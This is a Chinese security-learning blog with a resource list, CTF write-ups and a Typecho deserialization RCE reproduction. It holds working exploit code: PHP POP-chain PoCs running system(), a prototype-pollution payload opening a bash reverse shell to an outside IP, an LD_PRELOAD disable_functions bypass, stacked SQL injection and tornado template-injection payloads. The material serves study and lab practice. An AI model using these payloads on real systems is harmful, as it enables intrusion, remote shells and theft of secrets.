谈谈心得|计算机安全学习指引及资源汇总

| 2020.10.13更新

前言

一直觉得安全方面的学习范围广阔驳杂,很需要拓宽眼界,也很容易迷失学习方向,所以想做个常见的知识来源和学习方向的汇总

现在觉得,学习安全其实最重要的是了解计算机,学习计算机基础课程修炼内功是最最最重要的一件事,计算机基础修炼好了可以事半功倍,解决未知的问题时也能触类旁通举一反三

借用TK教主的一段话:

从事任何方向的技术研究,不知道该干什么的时候,就问自己四个问题:

  • 这个方向上最新进展是什么?都知道吗?

  • 这个方向上最著名的专家有哪些?他们的研究都看过吗?

  • 这个方向上最著名的技术社区有哪些?精华帖都看过一遍吗?

  • 最重要的文章、工具有哪些?文章都看过吗?工具都分析过吗?

学习方法论

安全学习路线指引

安全资讯

CTF指引

大佬博客

书籍(仅推荐我看过的,请寻找最新发行的版本)

  • 《C Primer Plus》

  • 《细说PHP》

  • 《鸟哥的linux私房菜》

  • 《操作系统导论》

  • 《代码审计:企业级WEB代码安全架构》

  • 《Java核心技术》· 卷一

  • 《汇编语言》by王爽

  • 《大话数据结构》

漏洞复现|Typecho反序列化漏洞getshell

0x01 漏洞前瞻

漏洞条件:

  • Typecho version < 15.5.12

复现环境:

  • apache2.4.41
  • PHP7.4.3
  • linux5.4.0-40

0x02 漏洞分析

先找出install.php中的漏洞点,搜索unserialize()函数,230-235行

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

参数被反序列化为数组之后先被赋给$config变量,然后再将其成员作为Typecho_Db类的参数,跟进这个类看一下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

$config['adapter']这个成员首先会被当做字符串使用,然后会使用它来new一个新的对象

所以这个过程中,虽然没有可以控制参数的危险函数,但是$config['adapter']中的类一定会被触发的魔术方法有:

1
2
3
__toString()
__construct()
__destruct()

反序列化的参数来自于Typecho_Cookie::get(),看方法名猜测可控,跟进去查看一下,进入Typecho_Cookie类中

1
2
3
4
5
6
7
   private static $_prefix = ''
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

可以看出返回值来自$_COOKIE['__typecho_config']$_POST['__typecho_config'],这都属于我们可控的内容

然后返回来,查看如何才能使反序列化被执行:

1
2
3
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

需要给定一个finish参数,Referer给定本站url,并且在cookie中指定__typecho_conig,都很容易实现

0x02 POP链的寻找

__construct一般来说是不利用的,因为一般来说无法控制参数,所以主要顺着思路在范围内查找包含__toString()``__destruct()方法的类,看是否有可以利用的POP链

查找了一圈__destruct,并没有发现能够利用的链。

最后在Feed.php中找到了一个也许能够利用的__toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __toString(){
......
else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

$content = '';
$lastUpdate = 0;

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
......

}

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;中调用了$item[‘author’]的screenName属性,而$item数组则是来自于属性$this->_items数组中的一个成员

想着如果控制$item[‘author’],也许能够触发__get方法,于是思路变为寻找可利用的__get方法

在Typecho/Request.php中找到了一个

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

可控的$this->_params[‘$key’]被赋给了$value,而$value被用作参数,跟进去看方法内有没有可以利用的点

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

危险函数call_user_func,参数$value可控,$filter可控

梳理一下,大致的pop链

1
2
3
4
5
array $config

class Typecho_Feed->__toString()

class Typecho_Request -> __get() -> get() -> _applyFilter()

0x03 POC编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
class Typecho_Request{

private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = "cat /etc/passwd";
$this->_filter[] = "system";
}

}

class Typecho_Feed{

private $_type;
const RSS2 = 'RSS 2.0';
private $_items = array();

public function __construct(){
$this->_type = self::RSS2;
$this->_items[] = array(
"title" => "a",
"link" => "b",
"date" => "c",
"author" => new Typecho_Request(),
'category' => array(new Typecho_Request())
);
}

}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'a'
);

echo base64_encode(serialize($exp));

Buuoj|[网鼎杯2020 青龙组]notes

0x00 知识点

1.Node.js-express 框架代码审计
2.JS 原型链污染

0x01 解题思路

代码审计

题目把源码给出来了,直接可以进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();

class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

//参数设置
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

//中间件配置
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

//路由
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) { //遍历所有属性,包含对象原型中的属性
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

简单的审计一下,没发现flag相关,但是能够在/tatus路由下发现一个危险的命令执行函数exec(),猜测是达成RCE反弹shell.
exec()的参数来看,是使用for in语句轮流执行commands这个对象中每个属性所包含的字符串命令,而JS的特性for in语句会递归使用参数,即对象原型中的参数也会被使用
所以猜测是通过原型链污染的手段在原型对象中添加指令达到RCE的目的,那么接下来的问题变为了怎么造成原型链污染

undefsafe造成的原型链污染

在开头引入了一个undefsafe()函数,主要作用是可以修改对象的深层属性,Useage:

1
2
3
4
5
6
7
8
9
10
undefsafe(object, string path, value)
例子:
var object = {
a: {
b: [1,2,3]
}
};
var res = undefsafe(object, 'a.b.0', 10);
console.log(object); // { a: { b: [10, 2, 3] } }
console.log(res); // 1 - previous value

猜想可以利用一下,在edit_notes路由中能找到相关的可控参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

其中参数id``author``raw是我们可控的POST参数,而参数在传入之后会调用对象的方法,进而在方法中调用undefsafe函数,可以考虑undefsafe(object,__proto__,payload)来造成原型链污染

反弹shell

最后只需要访问/status路由完成命令执行反弹shell

POC

首先打开一台公网服务器,用nc监听端口nc -lvvp 9999
然后POST参数
id%3d__proto__%26author%3dbash+-i+%3e%26+%2fdev%2ftcp%2f174.1.105.102%2f9999+0%3e%261%26raw%3d123
因为使用了urlencode中间件,所以需要将参数urlencode一下
之后访问/status,命令就会被成功执行,shell被弹到了远程服务器上,在根目录下就能够找到flag

Buuoj|[MRCTF2020]Ezpop

0x00 基本知识

1.PHP反序列化代码审计,POP链寻找

2.__wakeup绕过(CVE-2016-7124)

0X01 题解

进入题目直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

反序列化,漏洞点很明显

1
2
3
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}

开始寻找pop链

Modifier类中有一个include文件包含,且参数可以通过控制反序列化来控制,考虑可以用这个结合伪协议来代码读取

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

利用__invoke魔术方法来执行文件包含,所以需要找一个可控的动态调用,在Test类中可以找到

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

当使用私有属性或不存在的属性时,__get魔术方法将被调用,所以还需要考虑如何调用不存在的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

可以利用Show类中的toString方法,将str赋值为Test对象,调用不存在的属性source时就可触发__get方法

至于触发__toString方法,则可以考虑用Show对象自身的___wakeup方法中的preg_match函数来触发

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Modifier {
protected $var;
public function __construct(){
$this->var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}


$a = new Show();
$a->source = new Show();
$a->source->str = new Test();

echo urlencode(serialize($a));

思路复现|利用LD_PRELOAD进行函数劫持绕过disable_functions

0x00 动态库与LD_PRELOAD

1.动态链接与静态链接

直接上百科

静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。链接器是一个独立程序,将一个或多个库或目标文件(先前由编译器或汇编器生成)链接到一块生成可执行程序。静态链接是指把要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分。

动态链接所调用的函数代码并没有被拷贝到应用程序的可执行文件中去,而是仅仅在其中加入了所调用函数的描述信息(往往是一些重定位信息)。仅当应用程序被装入内存开始运行时,在操作系统的管理下,才在应用程序与相应的动态链接库之间建立链接关系。当要执行所调用库中的函数时,根据链接产生的重定位信息,操作系统才转去执行动态链接库中相应的函数代码。

2.动态库与LD_PRELOAD

在linux中,动态库的后缀名为.so,而环境变量LD_PRELOAD则被用于指定最高优先级加载的动态链接库.一般情况下,动态库加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib。

0x01 先从动态库劫持讲起

利用LD_PRELOAD的特殊性,我们可以通过编写程序中使用的同名库函数来执行我们想要的代码.上个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//vpass.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
return 0;
}

程序很简单,当输入为password时输出Correct Password,否则Invalid Password.

编写动态库kidnap.so

1
2
3
4
5
6
7
//kidnap.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}

编译

1
2
gcc -shared kidnap.c -o kidnap.so  //编译动态库
gcc vpass.c -o vpass //编译程序

先不加LD_PRELOAD运行一下

1
2
3
4
# ./vpass password
> Correct Password!/n%
# ./vpass abcd
> Invalid Password!/n%

然后添加LD_PRELOAD环境变量再运行

1
2
3
# export LD_PRELOAD=./kidnap.so
# ./vpass abcd
> hack function invoked. s1=<password> s2=<abcd>/nCorrect Password!/n%

可以看见我们编写的库函数被调用了而不是原本的strcmp()

0x02 PHP中利用LD_PRELOAD进行函数劫持达成命令执行

我们先来了解下mail()函数.

php在unix操作系统中使用mail()发邮件的本质是新开进程/bin/sh调用二进制文件/usr/sbin/sendmail来完成邮件的发送.于是可以考虑劫持sendmail调用的动态库函数来达成命令执行.

1
2
3
4
5
6
7
8
9
# readelf -Ws /usr/sbin/sendmail
> 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_init@SASL2 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_size@OPENSSL_1_1_0 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_set_flags@OPENSSL_1_1_0 (3)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND wait@GLIBC_2.2.5 (4)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_add_crl@OPENSSL_1_1_0 (3)
...
225: 0000000000000000 0 FUNC GLOBAL DEFAULT UND seteuid@GLIBC_2.2.5 (4)

编写动态库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//kidnap.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload(){
system("whoami");
}

int geteuid(){
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}

PHP脚本:

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/kidnap.so");
mail("a@b","","","","");

尝试运行脚本:

1
2
# php index.php
> root

可以看到成功命令执行

0x03 总结

总结一下,PHP中想要利用LD_PRELOAD进行函数劫持的条件有:

  • PHP需要能够调用这样一种函数:这个函数会调用外部程序来实现功能,并且这个外部程序会调用动态链接库中的库函数

  • 能够上传自己编写的动态链接库并使用putenv()函数来设置LD_PRELOAD环境变量

这种命令执行的方式调用了外部程序来执行命令,这已经不是PHP本身所进行的命令执行,所以可以无视disable_functions.

Buuoj|[强网杯2019]随便注、[护网杯 2018]easy_tornado

0x01 [强网杯2019]随便注

知识要点

  • SQL堆叠注入

  • 一些精妙的思路

·思路

随便提交一个参数,得到回显,输入的参数以URL参数的形式传入http://bae67c64-10af-4353-a896-24763719a200.node3.buuoj.cn/?inject=1,需要判断一下注入点的存在与否和注入点的类型。

先试着输入1',直接报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

当再次输入1'#,没有报错正常显示,说明后端存在数据库查询且我们的输入能够影响到数据库查询,直接尝试进行union注入,但是得到提示

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

输入会被大小写不敏感地检测并屏蔽。也许可以考虑绕过,但是对于语句本身的绕过小技巧基本没什么作用,对于url传入数组让preg_match返回NULL的无谓尝试也会被报错返回。

1
Warning:  preg_match() expects parameter 2 to be string, array given in /var/www/html/index.php on line 19

只能考虑不使用被屏蔽的sql关键字来进行注入,这时候可以微妙的发现show和一些DML语句并没有被屏蔽,于是考虑到堆叠注入(这个心路历程是我猜的,我也不知道出题人有没有提示)

先用SHOWDESC语句将表名和表的结构弄清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

payload:1';show tables;#

payload:1';desc words;#

payload:1';desc `1919810931114514`;# //这里因为表名是一串纯数字,所以要记得用反引号括起来

1919810931114514(
flag varchar(100)
)



words(
id int(10)
data varchar(20)
)

但是只是用show没法看到flag。可以考虑换种思路,把含有flag的表添加一行id,然后将这个表改名为words,而将words表改成其他名字,这样前端查询出来的就是含有flag的表的内容。
payload:

1
2
1';alter table `1919810931114514` add id int(10) not null primary key auto_increment;alter table `1919810931114514` change flag data varchar(100);rename table words to words1;rename table `1919810931114514` to words;#

0x02 [护网杯 2018]easy_tornado

知识要点

  • SSTI服务器模板注入

  • Python tornado web框架

解题思路

题目中有提示是tornado框架编写的python应用

先交互一下看看网站功能,一上来给了三个文件

1
2
3
/flag.txt
/welcome.txt
/hints.txt

访问一下发现访问的方式都是由file路由提供的,需要提供参数filenamefilehash,在hints.txt中了解到filehash = md5(cookie_secret+md5(filename)),又在flag.txt中了解到flag在文件/fllllllllllllag

当我们不提供filehash参数或者随便提供一个错误的hash值时,会自动跳转到http://e0cf92bb-4eec-4b46-aef3-7c594de3e4ee.node3.buuoj.cn/error?msg=Error并且前端打印出Error

对于我们每一个能够控制的参数都检查试试,发现我们可控的msg参数会打印在前端

由于tornado的前后端交互使用的是模板引擎,所以可以考虑一下服务器端的模板注入,可以构建一个填充表达式来尝试验证是否存在注入

?msg={{1}},前端回显1,证实存在模板注入

需要知道的一点是,cookie_secret是tornado框架中Application对象的setting数组的一个可设置项,具体可以参考tornado.web — RequestHandler and Application classes — Tornado 6.0.4 documentation

然而在如何使用settings字典时卡住了,网上的师傅们给的解释是

`handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了`

指定参数msg={{handler.settings}},得到cookie

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '877a5add-44e4-414c-8600-36b9a5cf61b3'}

进行hash之后,输入参数访问,得到flag

Buuoj|AreUSerialz

知识点

  • PHP代码审计和语言特性

  • PHP反序列化及绕过

解题过程

进入题目直接给出代码

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}


public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}



private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");
else $this->output("Failed!");

} else {
$this->output("Failed!");
}
}



private function read() {

$res = "";

if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}

return $res;

}



private function output($s) {

echo "[Result]: <br>";
echo $s;

}


function __destruct() {

if($this->op === "2")
$this->op = "1";

$this->content = "";
$this->process();
}

}



function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;

return true;
}



if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {
$obj = unserialize($str);
}
}

可以看到flag应该在被包含的flag.php文件中.分析代码可以看见,从url中传入的str参数会被反序列化,而FileHandler类的实例销毁时会调用process方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

function __destruct() {

if($this->op === "2")
$this->op = "1";

$this->content = "";
$this->process();

}

public function process() {

if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}

}

process()方法又会根据op属性来进行文件的读写操作

1
2
3
4

private function read()
private function write()

因此可以思考出一个大体思路:通过str传入一个恶意的序列化的FileHandler实例,从而达到文件读取的目的

想要读取文件,需要op参数为"2",而__desctruct()会在检测到op为"2"之后将其改为"1"

可以注意到process()中对于op参数的比较使用的是弱类型比较,而__destruce()中则为严格比较,可以考虑利用这一点来绕过销毁函数中的if条件

pop链构造

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
class FileHandler {

protected $op = 2;
protected $filename = "./flag.php";
protected $content = "";
}

$a = new FileHandler();
$str = serialize($a);

echo urlencode($str);



然而得出的exp并不能够打成功,这时候需要注意到过滤输入的 is_valid()这个函数

1
2
3
4
5
6
7
8
9
10

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;

return true;
}

限定了字符串内的字符ASCII32-125之间,这之中是不包含NULL空字符的,而php的反序列化格式中如果属性的访问控制为protected,则序列化后的字段名前面会加上NULL*NULL来标识其是protected的属性,所以这里需要利用PHP的反序列化的机制来绕过

1
2
3

当实例字符串被反序列化时,解释器将寻找其所属的类并根据类来还原实例,实例的属性的访问限制类型与类中的不同时,将以类中的访问控制类型为准,因此如果实例字符串中使用public,但类声明中使用protected时,还原后的实例的属性将仍以类声明中的protected为准

所以考虑把protected改为public,让解释器自己来将其改为protected,从而达到绕过的目的

真实的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
class FileHandler {

public $op = 2;
public $filename = "./flag.php";
public $content = "";

}

$a = new FileHandler();
$str = serialize($a);
echo urlencode($str);

这次可以打成功

/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D

最后有个小坑,flag被放在注释里,需要f12查看